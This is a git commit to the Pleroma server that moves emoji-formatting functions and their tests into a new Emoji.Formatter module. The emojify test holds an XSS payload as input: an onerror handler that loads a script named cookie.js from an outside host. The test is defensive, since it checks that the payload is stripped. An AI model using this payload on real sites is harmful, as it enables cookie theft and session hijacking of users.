added Emoji.Formatter

This commit is contained in:
Maksim Pechnikov 2019-08-29 22:01:37 +03:00
parent 5c90b70733
commit d8098d142a
11 changed files with 141 additions and 119 deletions

View file

@ -0,0 +1,59 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.Formatter do
alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn
{_, _, _, emoji, file}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
end
defp prepare_emoji_html(_emoji, _file, true), do: ""
defp prepare_emoji_html(emoji, file, _strip) do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
end
def demojify(text) do
emojify(text, Emoji.get_all(), true)
end
def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
String.contains?(text, ":#{emoji}:")
end)
end
def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
def get_emoji_map(_), do: []
end

View file

@ -3,10 +3,8 @@
# SPDX-License-Identifier: AGPL-3.0-only # SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Formatter do defmodule Pleroma.Formatter do
alias Pleroma.Emoji
alias Pleroma.HTML alias Pleroma.HTML
alias Pleroma.User alias Pleroma.User
alias Pleroma.Web.MediaProxy
@safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s @safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s
@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@ -100,56 +98,6 @@ defmodule Pleroma.Formatter do
end end
end end
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn
{_, _, _, emoji, file}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
end
defp prepare_emoji_html(_emoji, _file, true), do: ""
defp prepare_emoji_html(emoji, file, _strip) do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
end
def demojify(text) do
emojify(text, Emoji.get_all(), true)
end
def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
String.contains?(text, ":#{emoji}:")
end)
end
def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
def get_emoji_map(_), do: []
def html_escape({text, mentions, hashtags}, type) do def html_escape({text, mentions, hashtags}, type) do
{html_escape(text, type), mentions, hashtags} {html_escape(text, type), mentions, hashtags}
end end

View file

@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
alias Pleroma.Activity alias Pleroma.Activity
alias Pleroma.ActivityExpiration alias Pleroma.ActivityExpiration
alias Pleroma.Conversation.Participation alias Pleroma.Conversation.Participation
alias Pleroma.Formatter alias Pleroma.Emoji
alias Pleroma.Object alias Pleroma.Object
alias Pleroma.ThreadMute alias Pleroma.ThreadMute
alias Pleroma.User alias Pleroma.User
@ -261,12 +261,7 @@ defmodule Pleroma.Web.CommonAPI do
sensitive, sensitive,
poll poll
), ),
object <- object <- put_emoji(object, full_payload, poll_emoji) do
Map.put(
object,
"emoji",
Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
) do
preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
direct? = visibility == "direct" direct? = visibility == "direct"
@ -300,6 +295,15 @@ defmodule Pleroma.Web.CommonAPI do
end end
end end
# parse and put emoji to object data
defp put_emoji(map, text, emojis) do
Map.put(
map,
"emoji",
Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
)
end
# Updates the emojis for a user based on their profile # Updates the emojis for a user based on their profile
def update(user) do def update(user) do
user = user =

View file

@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
alias Pleroma.Activity alias Pleroma.Activity
alias Pleroma.Config alias Pleroma.Config
alias Pleroma.Conversation.Participation alias Pleroma.Conversation.Participation
alias Pleroma.Emoji
alias Pleroma.Formatter alias Pleroma.Formatter
alias Pleroma.Object alias Pleroma.Object
alias Pleroma.Plugs.AuthenticationPlug alias Pleroma.Plugs.AuthenticationPlug
@ -184,7 +185,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
"name" => option, "name" => option,
"type" => "Note", "type" => "Note",
"replies" => %{"type" => "Collection", "totalItems" => 0} "replies" => %{"type" => "Collection", "totalItems" => 0}
}, Map.merge(emoji, Formatter.get_emoji_map(option))} }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
end) end)
case expires_in do case expires_in do
@ -434,7 +435,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
end end
def emoji_from_profile(%{info: _info} = user) do def emoji_from_profile(%{info: _info} = user) do
(Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _, _, _} -> |> Enum.map(fn {shortcode, url, _, _, _} ->
%{ %{
"type" => "Emoji", "type" => "Emoji",

View file

@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Bookmark alias Pleroma.Bookmark
alias Pleroma.Config alias Pleroma.Config
alias Pleroma.Conversation.Participation alias Pleroma.Conversation.Participation
alias Pleroma.Emoji
alias Pleroma.Filter alias Pleroma.Filter
alias Pleroma.Formatter
alias Pleroma.HTTP alias Pleroma.HTTP
alias Pleroma.Notification alias Pleroma.Notification
alias Pleroma.Object alias Pleroma.Object
@ -140,7 +140,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
user_info_emojis = user_info_emojis =
user.info user.info
|> Map.get(:emoji, []) |> Map.get(:emoji, [])
|> Enum.concat(Formatter.get_emoji_map(emojis_text)) |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup() |> Enum.dedup()
info_params = info_params =

View file

@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only # SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Metadata.Utils do defmodule Pleroma.Web.Metadata.Utils do
alias Pleroma.Emoji
alias Pleroma.Formatter alias Pleroma.Formatter
alias Pleroma.HTML alias Pleroma.HTML
alias Pleroma.Web.MediaProxy alias Pleroma.Web.MediaProxy
@ -13,7 +14,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode() |> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ") |> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.get_cached_stripped_html_for_activity(object, "metadata") |> HTML.get_cached_stripped_html_for_activity(object, "metadata")
|> Formatter.demojify() |> Emoji.Formatter.demojify()
|> Formatter.truncate() |> Formatter.truncate()
end end
@ -23,7 +24,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode() |> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ") |> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.strip_tags() |> HTML.strip_tags()
|> Formatter.demojify() |> Emoji.Formatter.demojify()
|> Formatter.truncate(max_length) |> Formatter.truncate(max_length)
end end

View file

@ -9,7 +9,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
alias Ecto.Changeset alias Ecto.Changeset
alias Pleroma.Activity alias Pleroma.Activity
alias Pleroma.Formatter alias Pleroma.Emoji
alias Pleroma.Notification alias Pleroma.Notification
alias Pleroma.Object alias Pleroma.Object
alias Pleroma.Repo alias Pleroma.Repo
@ -713,7 +713,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
emojis_text = (params["description"] || "") <> " " <> (params["name"] || "") emojis_text = (params["description"] || "") <> " " <> (params["name"] || "")
emojis = emojis =
((user.info.emoji || []) ++ Formatter.get_emoji_map(emojis_text)) ((user.info.emoji || []) ++ Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup() |> Enum.dedup()
user_info = user_info =

View file

@ -5,7 +5,7 @@
defmodule Pleroma.Web.TwitterAPI.ActivityView do defmodule Pleroma.Web.TwitterAPI.ActivityView do
use Pleroma.Web, :view use Pleroma.Web, :view
alias Pleroma.Activity alias Pleroma.Activity
alias Pleroma.Formatter alias Pleroma.Emoji
alias Pleroma.HTML alias Pleroma.HTML
alias Pleroma.Object alias Pleroma.Object
alias Pleroma.Repo alias Pleroma.Repo
@ -262,7 +262,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do
activity, activity,
"twitterapi:content" "twitterapi:content"
) )
|> Formatter.emojify(object.data["emoji"]) |> Emoji.Formatter.emojify(object.data["emoji"])
text = text =
if content do if content do
@ -319,7 +319,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do
"possibly_sensitive" => possibly_sensitive, "possibly_sensitive" => possibly_sensitive,
"visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object), "visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object),
"summary" => summary, "summary" => summary,
"summary_html" => summary |> Formatter.emojify(object.data["emoji"]), "summary_html" => Emoji.Formatter.emojify(summary, object.data["emoji"]),
"card" => card, "card" => card,
"muted" => thread_muted? || User.mutes?(opts[:for], user) "muted" => thread_muted? || User.mutes?(opts[:for], user)
} }

View file

@ -4,7 +4,8 @@
defmodule Pleroma.Web.TwitterAPI.UserView do defmodule Pleroma.Web.TwitterAPI.UserView do
use Pleroma.Web, :view use Pleroma.Web, :view
alias Pleroma.Formatter
alias Pleroma.Emoji
alias Pleroma.HTML alias Pleroma.HTML
alias Pleroma.User alias Pleroma.User
alias Pleroma.Web.CommonAPI.Utils alias Pleroma.Web.CommonAPI.Utils
@ -72,7 +73,7 @@ defmodule Pleroma.Web.TwitterAPI.UserView do
description_html = description_html =
(user.bio || "") (user.bio || "")
|> HTML.filter_tags(User.html_filter_policy(for_user)) |> HTML.filter_tags(User.html_filter_policy(for_user))
|> Formatter.emojify(emoji) |> Emoji.Formatter.emojify(emoji)
fields = fields =
user.info user.info
@ -99,7 +100,7 @@ defmodule Pleroma.Web.TwitterAPI.UserView do
"name" => user.name || user.nickname, "name" => user.name || user.nickname,
"name_html" => "name_html" =>
if(user.name, if(user.name,
do: HTML.strip_tags(user.name) |> Formatter.emojify(emoji), do: HTML.strip_tags(user.name) |> Emoji.Formatter.emojify(emoji),
else: user.nickname else: user.nickname
), ),
"profile_image_url" => image, "profile_image_url" => image,

View file

@ -0,0 +1,54 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
end

View file

@ -255,52 +255,6 @@ defmodule Pleroma.FormatterTest do
end end
end end
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
test "it escapes HTML in plain text" do test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"